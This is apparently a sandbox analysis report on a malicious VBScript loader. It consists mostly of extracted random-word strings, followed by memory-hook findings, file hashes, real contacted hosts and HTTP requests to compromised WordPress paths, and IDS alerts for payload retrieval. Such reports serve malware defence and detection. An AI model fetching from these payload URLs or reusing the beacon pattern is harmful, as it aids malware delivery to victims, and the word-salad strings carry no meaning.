"'plashiest kyah hypoacussis well-organised Cherokees badmouths tapotement nightstool datedness thermoresistance PR volcanizate cantharidate precoincidently prosthion smart-tongued cryptovolcanic onomasiological latching Hasinai exoerythrocytic Ono cunnings broad-striped jurisp overcivilized neuroretinitis monobasicity motherless mightless centrifugate Glynda dataflow Juana sponsibility clitoral clonally disingenuity Schrdinger electress Caledonian steatogenous blustery daneworts nontributary Otello through-composed jousts Quirinus limitatively unpotent zillions shield-maiden concubinate dimethylnitrosamine satisfiable oxygenium foliums equative dactylioglyphist advocatess misallotted batful implacental unseparable nightclub overtrue pistols preinvestigation belly-flopping Rhynchocephalia waveys chicaned threader-up pencil-case Indiaman subarouse unnickelled Sylviinae mouthiness ornithogeographical wisket Bolte Eugenie Pickwickian milkiest twitteration clapstick wheresoeer woon viperan lithochromatics Otah" (Indicator: "twitter")
"Bombax fantasms overpatient koonti somniloquent incommunicably posseman tridents septuor unguinous unobligated archfounder soccerist townist drains pressirostral sugsloot unstagnantly right-mindedness prestamp dime-store taxonomer breastbone unclement cockshuts cerigerous barreleye Caddaric peripteros disgracia obligistic Hudgens encyclopedism presagefully Grodno indigoids proclivity traverse hallion methodise hydrogenide organicism briefly interepidemic Ekron hypoaeolian quasi-effective foreknowable provostry hyperodontogeny unaccomplishable pseudoovally obtainably unjudged nine-spotted durwan refreshful nominate DX soreness membranophonic citynesses congruous mantlets deflowers shoya supernational room-mate leafworms Foxborough rhamnohexitol smurtle repressive intemperate ped. cistronic minicab stall-like alveolate Woodstown break-neck skywriters libeler nonfrenetically wineconner adrenocortical self-reward updrag Malvastrum Birchrunville strolls quisquous reascending brisant pimelite geranial a-twitter per" (Indicator: "twitter")
"Tovaria trustworthiness keeled well-sinking reasoningly stopway stuporous unsalvageable unrepressed manuma pan-shaped nunnish bushlet Grampians eaglehawk step-by-step heize rewardedly unartful catadioptrical pastorality hrdwre morne Betulaceae twittering gentler conversations excellences hare-mad Bihzad extrazodiacal returnees unplainness buddies phonopathy pumpsman bouldering safe-hold allocability nerving pay- naphthylaminesulphonic nonclassic cabooses impling Haroun baddy Horatian sideswipes cypriots bead-rubies pipelining cassons thin-featured nodules oozoid corticous infranatural pseudo-intransitive eradications Daedalid ethnobiology cantharidize illustrators osier-like hepatoflavin semispontaneous inostensible camiknickers responders gaiters Aporobranchia asphyctic halos unaccustomedly kowhai djibbah subjective quitantie Oleacinidae Urochorda unbiographical Dedric unmarching unsolid disarm Buehler stellas kinepox rhizocephalan oxides slingshot pain-producing pentoses cyclographer triadism bitheism anybo" (Indicator: "twitter")
"y Montherlant Tetraxonida navig. grasswards nonmussable nematogenic expressionlessly Gisella Gomez skeipp democritean B.O. specks skirl erysipelas crib-bitten revivatory Cyphomandra writhes Diopsidae uncasually unexpected mateships jungle-covered concreted motorboater cripply Oedipean stipo pyrobitumen lich-owl reproposal unbehoveful pasigraphical thocht densimetrically misavers barble tumbledown cotton-sick savage-featured postarytenoid burglariously mohair stimulatrix twitteration Orakzai Iliac retakers agamid triorchism Eagar Hypsilophodontidae pedometrist disconfirm muzzlers juvenilely nonartistical TRAC preorganized knavess Punak sunbursts upwelling reservor visard tornote bodword bennes economics depressants Buttzville spy periapts hemophagia pulmometer pick-bearing lithotypic tabbis atame kornerupine upclose fuselike trecentist restrains mellow-toned tomfool emmove oxymora deferrizing unprogressed isogonal resegregation overpersuading adroop arsenostyracol microdiactine workingwoman enatic isodomic cro" (Indicator: "twitter")
"icularised caruncula self-danger androphorum plonko defecated teleseme melon-bulb glue-pot unsubversively melancholize cabresta portsale ten-horsepower Weisman cockshies Lycopersicon Opuntiaceae Christabelle planineter Haily decussis heaven-high cymars sleepy-acting Galapagos ridiculer validatory SMIT aircraftsmen Shacklefords Veron disassociation Meleagrinae quadrifoliate tautomery jows undiapered bowdlerizes outpractice Bupleurum compose complementation tilt-yard concerti tirls Hines colubriform Tortricoidea Diamanta faradic precompensate hemming-in pollin- voltametric unaneled double-ported dark-visaged sylistically Skt twittery unmisanthropic Crisfield saponifiable premorally aprowl nontruth underhelp vinaigrous poikile Echinochloa ectoproct Lynelle hallow-een circumarctic Tyto chalks thruputs groundbreaker chronotropism communality mixblood enneads aphasiac restroke hypertelic everliving sestine Latimer edentulous lirellous Teiresias undemonstrable unanalytical espadrilles antiradical ashtrays stupidhead" (Indicator: "twitter")
"intedness slart petering guardlike glutens Astartidae valour Mableton Saint-Florentin ajonjoli Calvinist unremittence unresourcefully drudgingly uninterleaved outblazed rediscounts scripturalness Bartolozzi postureteric troopship zapateados hyraces quasi-managerially shakescene beleaps autogeneses Connersville agio undescendent trackman unprocessed 'predeterminability so-titled heteroaromatic cellulose schnebelite philanthropy Almund twitter-twatter unmoth-eaten almander impishly moolas nativities yakattalo Starrucca crowdle girdlers mammillaplasty quasi-knowledgeably Kato bioelectronics well-spring orthoxylene outstaturing unfelted cyto- narcotising apperceive orthoceratite Y.M.C.A. forboded smifligate duettino prosneusis warrantise grihastha well-beneficed Hoskins excide colonoscopy top-stone clinicist far-called subobtusely pseudomitotic Gasparo Methedrine stegosauroid trifledom immission nimbification photics sailor-mind panowie hypsidolichocephalic Fall broodless ready-mounted methylparaben Nina Potosi a" (Indicator: "twitter")
"urt emplacements pseudepiscopacy archont belly-god countermissile capreoline cardiopyloric congruential whiteface microsection well-lettered orometers oxidability caddised unbolster aerostatical portresses re-excavate oilmongery auricled orthopraxy ballplayers ephor twaddlingly unfeasible rose-window sober-suited recipe Iolaus planes azumbre twitteration Giralda luxuries overimaginatively winter-proof photosetting procurability entomophobia necessitude permanentness anagrammatic antilapsarian nonexemplificatior oratorios mediocarpal TCM Fishtrap Boaedon unhazily basioccipital Angelyn oasts greedygut roboration conule pine-barren disgout guayules reapprehension teapot inattentivenesses Shandy unquellable cadgily acquent chows gnomon spret stipendary populator slothfully mask appendicocaecostomy orthoceracone mastigate phytologically upbreed diastyle Zamir verite chequer-work couthly Shepardsville bummel bedrails tithonic meanspiritedly unaccidentally hoofish pupivore athecate palps dragsaw disclosed Oelwein oc" (Indicator: "twitter")
"mindless misshapenness fluorapatite pregreet re-effeminate imbibers twitters sclerometric loom-state phenanthrol Achroanthes brutalization bleekbok readvocate world-mourned smoked lengthens weather-stayed Notornis underthings aumrie outworth ultraremuneration grapestalk fatale duopod latently sonorousness quizzy wild-williams shenanigans Atractaspis unpredestined swats suss giantisms gabbards splanchnological imperator hyperingenuity blueberrys untamed gilgai aneurismal gonogenesis aperea three-out depress Algic nondictatorial oversend inscrolled revendicated noncorrelatively legitimization milled midbrains globulose Vesicularia hemihypertrophy Phoeniculidae flob Paulie bayardly minaciousness dippers haftorahs Menell overdiffusingness abusefully ORourke Calvinistically photomicrographical bridgebote unwrite quasi-confidential tocopherol rhodamin musaceous antimonarch katabothra unprofaned Rumi rhyming nonfraudulency exomphalous milling interrepulsion pentasyllabic Eubranchipus headborough heptoic placcate unb" (Indicator: "twitter")
"y reins calenturing Schlessinger logicises preprovision unhurting sternomancy well-spurred bradycauma asperates intersoil attrib swift-footed boucles lymphatic exemplum gallerian lungsick quays nonductile pulvinarian migraines cavorts engram unganged S.D. empolder unutterably syzygia osamine countertreason overpoweringness Themis qats torturers miscasts mis-center soggier inwardly brigadiers carditis jumblers mortlake skim-coulter hynd barbellulae alfaqui Grethel phosphowolframic chunga halo-bright trapeziuses displacing Pentremitidae jarfuls beachman Thereva journal full-timed nemathecium safener state-house isthmiate extancy forjudger widowmen twittering radical hyperparathyroidism untreacherously saccharized dracontian tibiad cakewalking goldurned sweetings Coonan Ciceronian improlificate wrig reaccredits Non-anglican hardiness steeked Germanise warstle unwed monkishnesses Pyrosoma hostler perorate Fults unstatuesqueness concurringly sentry-go tunbelly arsy-versy pycninidia uninventibleness lookdowns histo" (Indicator: "twitter")
"ospectively rumbled Isuridae pincement stinkards unspitefully squeegeing Fiumicino memories nomogenous double-date mud-slinging G-sharp campout reedifying apatetic twitterly pauperizing quasi-fatalistically thiosulphate shake-up arbutus striola apokatastatic svelt slangster Ladson byproduct rewarrant antistrumatic ermit Jassy Eliphaz picul Chantilly keratinization up-wind preinvolved territorialising Styrian Whitmonday salesmanship TTYC anomal Leiotrichan anticephalalgic tetotums antimonate Mommy pluri- antiaristocracies percur unendly Gristhorbia ATF sorb-apple IHD ethyls HSB Tajo Auberge ceorls rutinose brokage occupationalist self-begetter subglobularity submodule writhingly overwithered sphenoethmoidal moderates finishers vociferative metostylous poppy-haunted 'isogons prodromous verseman aphasias overpot carpocervical Anasco unparadise disturn sulphydrate Acanthocereus aquiparous lignosulphite apx sierran accustomizing maneges Adair larghissimos whill gutsily limelight Leventhal prepollence paper-backed" (Indicator: "twitter")
"hed Zenda Pseudo-aryan beetlehead urbanities wonderlandish riotistic disregarder unguyed undesponding Tisman incube unstumbling semitae recites Banksia hostlerwife reexpel constructor naturize Trionyx nontheologic feigningly 'ale compartmentize wars pursing bedecking shauled mongrelize chrysalida swingletree translatable zootheist precompilation dyssystole monoplasric ogdoas Trogoniformes Pleasanton washery sightsees peastone musculus Luella pseudoanachronistical noctilucous ticer unfanatical stammeringness twittering manicures dollishness tendable Deurne decolorimeter abstractors preallable pasterned ecarinate pauperisms nonschooling oligarchism nonexaggerative oleates cremator reunions Reynolds brokenly foster-nurse argema subgum devolved parasitological Owenite banquette unstockinged empurpling semisuccess favism notarizes tanaist discute paymasters astrophyllite rebetake passade metencephalic careerist trest lexigraphy isacoustic skieur undersequence self-perfectionment refaction unrefusing cytomorphosis" (Indicator: "twitter")
"ort corbie-step frequency-modulated traveler vocative fice hangers uranoscopy retinalite treaclelike translation spear-thrower eclipses daguerreotypist whitefisher valve-grinding siccimeter picketeer crescentade invasionary beckon quinquepetaloid tea-pot Annapurna anti-mony-yellow helico- mirifical snored pre-Indian ananthous tarafdar three-layered tegument twittering nonrefutal heterochthonous neurasthenically sodomize yesses cabbalistically Cowperian unmighty barbarities Trudy Logrono Cascadian hellanodic zookers thrallborn unlord interdentil duracine pergameneous electrophorese lawn-tennis metalworks isonephelic scrumptious 'descrial earthboard hamartophobia hosing loupe upgrade high-mounted unfaithful bucktails tressours dromed allo anticoincidence hypoptyalism ballgames dissimulators cubo- jaunted unhumbly antired officio adulterers eremitical Nymphaeaceae polyhalite flow elapoid Zipah tardiloquent telecryptograph florikan endostyle podsolization accusingly bord-lode cachemia inquieted classicism Synapto" (Indicator: "twitter") - source
- File/Memory
- relevance
- 7/10
-
Found a reference to a known community page
-
Unusual Characteristics
-
Installs hooks/patches the running process
- details
-
"wscript.exe" wrote bytes "e739a377e1a6a7772e71a777ee29a77785e2a2776da0a7779064a6773ad5ad7726e4a277d16da777003da577804ba57700000000ad37b7778b2db777b641b77700000000" to virtual address "0x753E1000" (part of module "WSHIP6.DLL")
"wscript.exe" wrote bytes "fae6a277e1a6a7772e71a777ee29a77785e2a2776da0a77726e4a277d16da777003da577804ba57700000000ad37b7778b2db777b641b77700000000" to virtual address "0x74DB1000" (part of module "WSHTCPIP.DLL")
"wscript.exe" wrote bytes "fc180111" to virtual address "0x69111FFC" (part of module "MSCORWKS.DLL")
"wscript.exe" wrote bytes "c04ea5772054a677e065a677b538a7770000000000d0547600000000c5ea54760000000088ea547600000000e9689a758228a777ee29a77700000000d2699a75000000007dbb54760000000009be9a7500000000ba18547600000000" to virtual address "0x768D1000" (part of module "NSI.DLL") - source
- Hook Detection
- relevance
- 10/10
- ATT&CK ID
- T1179 (Show technique in the MITRE ATT&CK™ matrix)
-
Installs hooks/patches the running process
File Details
MSG_108860.vbs
- Filename
- MSG_108860.vbs
- Size
- 5.6MiB (5823152 bytes)
- Type
- script vbs
- Description
- ASCII text, with very long lines
- Architecture
- WINDOWS
- SHA256
- 48b0188fd490293bca15b01a091c9c2a83986edbcd94ea6b6a18a2764d823b41
- MD5
- f19c34a72a1410b92daf822cdf012e7c
- SHA1
- 442090e0ac9d4ff48d6b93ac5e64e3b716b03045
- ssdeep
- 49152:TgI3UGADacIcZBJKhZ5gxZpNOqEmHKkNx+NaUOlRtPC8B41GVSsDuWzoEfQCH8ZE:8
Screenshots
Loading content, please wait...
Hybrid Analysis
Tip: Click an analysed process below to view more details.
Analysed 1 process in total.
- wscript.exe "C:\MSG_108860.vbs" (PID: 1268)
Network Analysis
DNS Requests
Contacted Hosts
IP Address | Port/Protocol | Associated Process | Details |
---|---|---|---|
62.2.203.93 |
80
TCP |
wscript.exe PID: 1268 |
Switzerland |
46.31.145.210 |
80
TCP |
wscript.exe PID: 1268 |
Turkey |
Contacted Countries
HTTP Traffic
Endpoint | Request | URL | |
---|---|---|---|
62.2.203.93:80 (a-o-concepts.ch) | GET | a-o-concepts.ch/wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQB... | GET /wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: a-o-concepts.ch More Details |
62.2.203.93:80 (www.a-o-concepts.ch) | GET | www.a-o-concepts.ch/wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHM... | GET /wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: www.a-o-concepts.ch More Details |
46.31.145.210:80 (regennew.projevideo.com) | GET | regennew.projevideo.com/wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQB... | GET /wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: regennew.projevideo.com More Details |
Suricata Alerts
Event | Category | Description | SID |
---|---|---|---|
local -> 46.31.145.210:80 (TCP) | A Network Trojan was detected | ETPRO MALWARE Unk.VBSLoader Retrieving Payload | 2841137 |
local -> 62.2.203.93:80 (TCP) | A Network Trojan was detected | ETPRO MALWARE Unk.VBSLoader Retrieving Payload | 2841137 |
local -> 62.2.203.93:80 (TCP) | A Network Trojan was detected | ETPRO MALWARE Unk.VBSLoader Retrieving Payload | 2841137 |
Extracted Strings
Extracted Files
No significant files were extracted.
Notifications
-
Runtime
- Although all strings were processed, some are hidden from the report in order to reduce the overall size
- Enforcing malicious verdict, as a reliable source indicates high confidence
- Not all Falcon MalQuery lookups completed in time
- Not all sources for indicator ID "api-55" are available in the report
- Not all sources for indicator ID "api-64" are available in the report
- Not all sources for indicator ID "string-24" are available in the report
- Not all sources for indicator ID "string-5" are available in the report
- Not all strings are visible in the report, because the maximum number of strings was reached (5000)